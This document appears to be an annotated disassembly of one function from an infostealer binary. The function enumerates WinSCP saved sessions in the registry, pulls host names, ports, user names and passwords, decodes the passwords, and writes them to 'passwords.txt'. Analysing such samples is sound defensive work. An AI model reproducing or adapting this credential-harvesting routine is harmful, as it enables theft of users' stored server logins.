Function at 0x40abb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd44
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x143]
push ebx
push eax
mov dword [ebp - 0xc], ebx
mov byte [ebp - 0x144], bl
call sub.msvcrt.dll_memset
mov esi, 0x400
push esi
lea ecx, [ebp - 0xd44]
push ebx
push ecx
mov dword [ebp - 8], 0x104
call sub.msvcrt.dll_memset
push esi
lea edx, [ebp - 0x944]
push ebx
push edx
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x544]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x30
lea ecx, [ebp - 4]
push ecx
push 1
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Configuration
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x20], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push SysReAllocString
call esi
test eax, eax
jne 0x40aedc
mov ecx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x10
push str.UseMasterPassword
push str.Security
push ecx
call edi
test eax, eax
mov eax, dword [ebp - 4]
je 0x40ac74
cmp eax, ebx
je 0x40ac82
push eax
call dword [0x643d14]
xor eax, eax
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x40ac82
push eax
call dword [0x643d14]
mov dword [ebp - 4], ebx
lea edx, [ebp - 4]
push edx
push 9
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Sessions
push SysReAllocString
call esi
test eax, eax
jne 0x40aedc
mov edx, dword [ebp - 4]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x144]
push ecx
push ebx
push edx
call dword [0x643da0]
test eax, eax
jne 0x40aecb
push 0xf423f
push ebx
call dword [0x643dac]
push eax
call dword [0x643d44]
mov esi, eax
push str.Soft:_WinSCP_n
push esi
call dword [0x643d58]
push str.Host:
push esi
call dword [0x643d58]
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0xd44]
push ecx
push ebx
push 2
push str.HostName
lea edx, [ebp - 0x144]
push edx
push eax
call edi
lea ecx, [ebp - 0xd44]
push ecx
push esi
call dword [0x643d58]
lea edx, [ebp - 0x1c]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x14]
push eax
push ebx
push 0xffff
push str.PortNumber
lea ecx, [ebp - 0x144]
push ecx
push edx
mov dword [ebp - 0x1c], 4
call edi
test eax, eax
jne 0x40ad6e
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x40]
push ecx
call fcn.0040eac0
add esp, 8
mov ecx, eax
call fcn.0040cd50
push eax
push esi
call dword [0x643d58]
lea ecx, [ebp - 0x40]
call fcn.0040cb10
jmp 0x40ad7a
push 0x42ab48
push esi
call dword [0x643d58]
push 0x42aa20
push esi
call dword [0x643d58]
push str.Login:
push esi
call dword [0x643d58]
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x944]
push eax
push ebx
push 2
push str.UserName
lea ecx, [ebp - 0x144]
push ecx
push edx
call edi
lea eax, [ebp - 0x944]
push eax
push esi
call dword [0x643d58]
push 0x42aa20
push esi
call dword [0x643d58]
lea ecx, [ebp - 0x20]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x544]
push edx
push ebx
push 2
push str.Password
lea eax, [ebp - 0x144]
push eax
push ecx
call edi
push str.Password:
push esi
call dword [0x643d58]
push 0x4276a5
lea edx, [ebp - 0x544]
push edx
call dword [0x643d84]
test eax, eax
je 0x40ae46
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x944]
push ecx
lea edx, [ebp - 0xd44]
push edx
lea eax, [ebp - 0x30]
push eax
call fcn.0040a7b0
add esp, 0x10
mov ecx, eax
call fcn.0040cd50
push eax
push esi
call dword [0x643d58]
lea ecx, [ebp - 0x30]
call fcn.0040cb10
push 0x42aa20
push esi
call dword [0x643d58]
push 0x42aa20
push esi
call dword [0x643d58]
mov eax, dword [ebp - 0xc]
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 8]
push ecx
inc eax
lea edx, [ebp - 0x144]
push edx
push eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push eax
mov dword [ebp - 8], 0x104
call dword [0x643da0]
cmp eax, 0x103
jne 0x40acd4
push esi
call dword [0x643c6c]
push eax
push esi
sub esp, 0xc
mov ecx, esp
push str.passwords.txt
call fcn.0040ca90
sub esp, 0x50
lea edx, [ebp + 8]
mov ecx, esp
push edx
call fcn.00401590
lea eax, [ebp - 0x30]
push eax
call fcn.004115c0
add esp, 0x68
lea ecx, [ebp - 0x30]
call fcn.0040cb10
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x40aedc
push eax
call dword [0x643d14]
mov dword [ebp - 4], ebx
lea ecx, [ebp + 0x28]
call fcn.0040cb10
lea ecx, [ebp + 0x14]
call fcn.0040cb10
lea ecx, [ebp + 8]
call fcn.0040cb10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret